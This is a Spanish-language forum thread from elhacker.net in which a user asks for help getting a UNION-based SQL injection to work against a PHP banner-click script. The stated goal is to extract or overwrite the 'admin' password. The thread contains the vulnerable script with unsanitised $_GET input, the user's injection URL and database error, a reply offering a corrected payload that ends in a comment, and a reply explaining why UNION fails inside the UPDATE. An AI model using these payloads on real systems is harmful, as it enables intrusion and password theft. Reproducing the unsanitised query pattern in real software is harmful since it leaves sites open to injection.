Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: baran0wa en 21 Octubre 2010, 02:24 am



Título: Ayuda SQL INYECTION!
Publicado por: baran0wa en 21 Octubre 2010, 02:24 am
Buenas gente estoy haciendo unas pruebas de sql inyection y no encuentro como hacerlo andar... tengo la certeza de que se puede... pero no puedo hacerlo funcionar!!

El PHP que estoy usando es el siguiente:

Código:
<?
$id=$_GET[id];

include("config.php");
include("includes/mysql.php");
$Db1 = new DB_sql;
$Db1->connect($DBHost, $DBDatabase, $DBUser, $DBPassword);

$sql=$Db1->query("SELECT * FROM banners WHERE id='$id'");
$banner=$Db1->fetch_array($sql);
$sql=$Db1->query("UPDATE banners SET clicks=clicks+1 WHERE id='$id'");

$Db1->sql_close();

header("Location: $banner[target]");
exit;
?>

La base tiene varias tablas, el PHP anterior consulta la tabla banners que tiene la siguiente estructura:

Código:
CREATE TABLE IF NOT EXISTS `banners` (
  `id` int(11) NOT NULL auto_increment,
  `title` text NOT NULL,
  `size` int(11) NOT NULL default '0',
  `target` text NOT NULL,
  `banner` text NOT NULL,
  `views` int(11) NOT NULL default '0',
  `clicks` int(11) NOT NULL default '0',
  `credits` int(11) NOT NULL default '0',
  `dsub` text NOT NULL,
  `username` varchar(25) NOT NULL default '',
  `pref` varchar(30) NOT NULL default '',
  `forbid_retract` int(11) NOT NULL default '0',
  `daily_limit` int(11) NOT NULL,
  `views_today` int(11) NOT NULL,
  PRIMARY KEY  (`id`),
  KEY `pref` (`pref`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

Mi intencion es hacer un query y obtener la password del usuario "admin" o hacerle un update. La consulta que estoy haciendo busca un id inexistente y despues "trato" de hacer una union:

Código:
http://localhost/test.php?id=144440' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14 from user where '1

Supuestamente debería funcionar pero como hay un SELECT y despues un UPDATE y ambos hacen uso de la misma variable termina dando error y no puedo obtener nada :(

Código:
Database error: Invalid SQL: UPDATE banners SET clicks=clicks+1 WHERE id='144440' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16 from user where '1'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16 from user where '' at line 1)
Session halted.

Como ven el primer SELECT supuestamente lo esta haciendo, pero muero en el UPDATE...

Si alguien me puede poner un poco de luz en el camino se va a agradecer!!!



Título: Re: Ayuda SQL INYECTION!
Publicado por: xassiz~ en 21 Octubre 2010, 15:18 pm
Prueba:

Código
  1. ' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14 FROM user WHERE id='1' --


Título: Re: Ayuda SQL INYECTION!
Publicado por: tragantras en 24 Octubre 2010, 10:02 am
el contexto en el que estás realizando tu operacion select es el de una operación update.

El uso de "union all select" solo es posible cuando la operación está realizando una consulta con "select", es decir, tu no peudes hacer

UPDATE banners SET clicks=clicks+1 WHERE id='144440' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16 from user where '1'

porque estás haciendo un UPDATE primero y luego intentas concatenar con un SELECT.